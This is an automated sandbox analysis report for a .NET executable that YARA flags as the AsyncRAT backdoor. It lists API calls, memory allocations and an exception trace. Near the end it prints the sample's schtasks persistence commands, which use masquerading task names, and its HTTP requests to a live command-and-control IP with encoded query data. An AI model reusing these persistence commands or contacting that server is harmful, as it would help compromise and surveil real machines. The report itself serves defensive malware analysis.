popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

brokerhostperffontSavesdhcp.exe

Generic Malware UPX Malicious Packer PE File OS Processor Check PE32 .NET EXE
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 30, 2021, 10:28 a.m. July 30, 2021, 10:32 a.m.
Size 1.1MB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 840eb0664fe0d3fa68c8f16e0b1d970e
SHA256 64372c3ad1a4fff52786f20761db9c67605a533f0b5c48311b9cb005c24e0314
CRC32 6C0605E8
ssdeep 24576:J/TSQLWxRjh4VWf+zdlOGIFkx32zAP3kppIDD+4:JteRoWGzW/kdbtm
Yara
  • IsPE32 - (no description)
  • Malicious_Packer_Zero - Malicious Packer
  • OS_Processor_Check_Zero - OS Processor Check
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • UPX_Zero - UPX packed file
  • PE_Header_Zero - PE File Signature
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch
188.120.254.68 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "winlogon" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "lsm" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "smss" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "wininit" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "pw" has successfully been created.
console_handle: 0x0000000000000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .sdata
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
0x7fe9138976a
0x7fe9138954b
0x7fe91389481
0x7fe91379b98
mscorlib+0x4ef8a5 @ 0x7feef92f8a5
mscorlib+0x4ef609 @ 0x7feef92f609
mscorlib+0x4ef5c7 @ 0x7feef92f5c7
mscorlib+0x502d21 @ 0x7feef942d21
CoUninitializeEE+0x4c56f GetMetaDataInternalInterface-0x2b1ad clr+0x4f713 @ 0x7fef0a0f713
CoUninitializeEE+0x4c09e GetMetaDataInternalInterface-0x2b67e clr+0x4f242 @ 0x7fef0a0f242
CoUninitializeEE+0x4c167 GetMetaDataInternalInterface-0x2b5b5 clr+0x4f30b @ 0x7fef0a0f30b
NGenCreateNGenWorker+0x682d _AxlPublicKeyBlobToPublicKeyToken-0x409df clr+0x216291 @ 0x7fef0bd6291
DestroyAssemblyConfigCookie+0x157fc PreBindAssembly-0xc054 clr+0xf6d80 @ 0x7fef0ab6d80
DestroyAssemblyConfigCookie+0x1578a PreBindAssembly-0xc0c6 clr+0xf6d0e @ 0x7fef0ab6d0e
DestroyAssemblyConfigCookie+0x15701 PreBindAssembly-0xc14f clr+0xf6c85 @ 0x7fef0ab6c85
DestroyAssemblyConfigCookie+0x15837 PreBindAssembly-0xc019 clr+0xf6dbb @ 0x7fef0ab6dbb
NGenCreateNGenWorker+0x6711 _AxlPublicKeyBlobToPublicKeyToken-0x40afb clr+0x216175 @ 0x7fef0bd6175
StrongNameSignatureVerification+0x5a22 GetCLRFunction-0x7712 clr+0x1866ae @ 0x7fef0b466ae
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76e5652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x771ec521

exception.instruction_r: 80 38 00 48 8b 4c 24 40 48 8b 54 24 48 e8 44 d4
exception.instruction: cmp byte ptr [rax], 0
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x7fe9138976a
registers.r14: 0
registers.r15: 0
registers.rcx: 0
registers.rsi: 0
registers.r10: 8789939956528
registers.rbx: 0
registers.rsp: 483917040
registers.r11: 483911648
registers.r8: 43185348
registers.r9: 43185332
registers.rdx: 43185320
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://188.120.254.68/Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&06ecda78a6a1b96d5db7032822fd600d=af97fb4c2171c962f834f421bc24d6af&56d76a4877bf6096e52e2b9b2c725a7c=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB
suspicious_features Connection to IP address suspicious_request GET http://188.120.254.68/Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&04e6ef400dffe4ad5b9e9bd4fda318ee=hFGZ4Y2MlBzMhFWY4ETZjZGZmhDNxEzMhZjZwUWNiVjNhJWMkBDMjRjM3YDO5MTO2IDOxMTN&56d76a4877bf6096e52e2b9b2c725a7c=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&59d2958dce619cc14e5d1ddb6fcbc0ee=d1nIjFGNihzNmRzYzQjY4YTYwIzN1UDNwIWZlJ2MkVjNzUWZ3QTZ3QzMmJiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W&fa2a7d53b9adfa05bf211b128296b4e2=QX9JiI6ISMilzYhNTOlVjYiN2NmVmN2cjYiNmZzUzY0YzYwQjZiJCLiMWY0IGO3YGNjNDNihjNhBjM3UTN0AjYlVmYzQWN2MTZldDNldDNzYmI6ISO1QGNiRGOkRGN5UmM5M2YmJDZ3MTOkVmY5gTZ2UGM5ICLiQDMzYWZwADNjBTYykDZ1czY5gDZ0QmYklDNzMDNxAzYjVGM0QzMxYjI6ICMmBDO3IzYjFGNzETN5gjZ1gzMxkDOxkTN2QTN2EWO1Iyes0nI5oUajxGZXlVdGdFVnBzVZlHZyIWeCxWS2kUekZnUtJGckZkVEZ0aJNXSTdVavpWS1x2VitmRwMGcKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJlWS2kUeSJkUsl0cJNEZwpURJBTWEl0T0VUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNVWsp0MixkQDFGMWNjYUJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJN1T0UEVNV3Yq1Ee3lWT4FEVOV3Y61UavpWSqlzRil2dpl0U0tWS2k0UllnUuJWM5ITWpdXaJNnVzIGbOxWS2kUaiZHbyoFbK5WSzl0Uk5WMTl1dk1mY25EbJZTSTVGMsJTWpdXaJdXVU1UdRpXT4RzQPdXSqxUMjRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS5lERkpnVHRWavpWSsFzVZ9kSYpleWxWSzlUeRFVMp1UeRFTVGJFbJZTSTpFdG1GVEJEbJNXSD1Ee0kXT1FlaJZTSpNGbax2YsplbjxmTsl0cJlWZJRWRNRDNp10ZBVUSWJUMRdWQE1EMnRFTxs2RJBHMFZ1bV12Y25URJBXSGt0cWdEZ1x2aJZTSTpFdG1GVWJUMRl2dpl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjY5MWYzkTZ1ImYjdjZlZjN3ImYjZ2M1MGN2MGM0YmYiwiIwMjMwETYkJjM5QTNyU2N0YjYyETYmBjYwIjY4MjM5E2YyczNzgjM5IiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W
request GET http://188.120.254.68/Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&06ecda78a6a1b96d5db7032822fd600d=af97fb4c2171c962f834f421bc24d6af&56d76a4877bf6096e52e2b9b2c725a7c=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB
request GET http://188.120.254.68/Autolocalscreen/phprecordpool/antiPythonCamlog/frame/Djangocore/framehtoprule/support/tracegame/poollog/recordframePython/htopbootplugindata/Pollgenerator.php?SA9CQiRcIWzannTU=yID&n7NmjTDGksvsOdT1nl=uB&04e6ef400dffe4ad5b9e9bd4fda318ee=hFGZ4Y2MlBzMhFWY4ETZjZGZmhDNxEzMhZjZwUWNiVjNhJWMkBDMjRjM3YDO5MTO2IDOxMTN&56d76a4877bf6096e52e2b9b2c725a7c=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&59d2958dce619cc14e5d1ddb6fcbc0ee=d1nIjFGNihzNmRzYzQjY4YTYwIzN1UDNwIWZlJ2MkVjNzUWZ3QTZ3QzMmJiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W&fa2a7d53b9adfa05bf211b128296b4e2=QX9JiI6ISMilzYhNTOlVjYiN2NmVmN2cjYiNmZzUzY0YzYwQjZiJCLiMWY0IGO3YGNjNDNihjNhBjM3UTN0AjYlVmYzQWN2MTZldDNldDNzYmI6ISO1QGNiRGOkRGN5UmM5M2YmJDZ3MTOkVmY5gTZ2UGM5ICLiQDMzYWZwADNjBTYykDZ1czY5gDZ0QmYklDNzMDNxAzYjVGM0QzMxYjI6ICMmBDO3IzYjFGNzETN5gjZ1gzMxkDOxkTN2QTN2EWO1Iyes0nI5oUajxGZXlVdGdFVnBzVZlHZyIWeCxWS2kUekZnUtJGckZkVEZ0aJNXSTdVavpWS1x2VitmRwMGcKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJlWS2kUeSJkUsl0cJNEZwpURJBTWEl0T0VUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNVWsp0MixkQDFGMWNjYUJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJN1T0UEVNV3Yq1Ee3lWT4FEVOV3Y61UavpWSqlzRil2dpl0U0tWS2k0UllnUuJWM5ITWpdXaJNnVzIGbOxWS2kUaiZHbyoFbK5WSzl0Uk5WMTl1dk1mY25EbJZTSTVGMsJTWpdXaJdXVU1UdRpXT4RzQPdXSqxUMjRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS5lERkpnVHRWavpWSsFzVZ9kSYpleWxWSzlUeRFVMp1UeRFTVGJFbJZTSTpFdG1GVEJEbJNXSD1Ee0kXT1FlaJZTSpNGbax2YsplbjxmTsl0cJlWZJRWRNRDNp10ZBVUSWJUMRdWQE1EMnRFTxs2RJBHMFZ1bV12Y25URJBXSGt0cWdEZ1x2aJZTSTpFdG1GVWJUMRl2dpl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjY5MWYzkTZ1ImYjdjZlZjN3ImYjZ2M1MGN2MGM0YmYiwiIwMjMwETYkJjM5QTNyU2N0YjYyETYmBjYwIjY4MjM5E2YyczNzgjM5IiOikTNkRjYkhDZkRTOlJTOjNmZyQ2NzkDZlJWO4UmNlBTOiwiI0AzMmVGMwQzYwEmM5QWN3MWO4QGNkJGZ5QzMzQTMwM2YlBDN0MTM2IiOiAjZwgzNyM2YhRzMxUTO4YWN4MTM5gTM5UjN0UjNhlTNis3W
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 2424832
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000880000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1321000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef19bb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 2555904
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002230000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002420000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cd0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c76000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bbb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bbd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cd1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bad000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cda000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91baa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cdb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cdc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cdd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cde000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cdf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91ce1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\Python27\README\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\System32\FXSMON\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\DShowRdpFilter\lsm.exe'" /rl HIGHEST /f
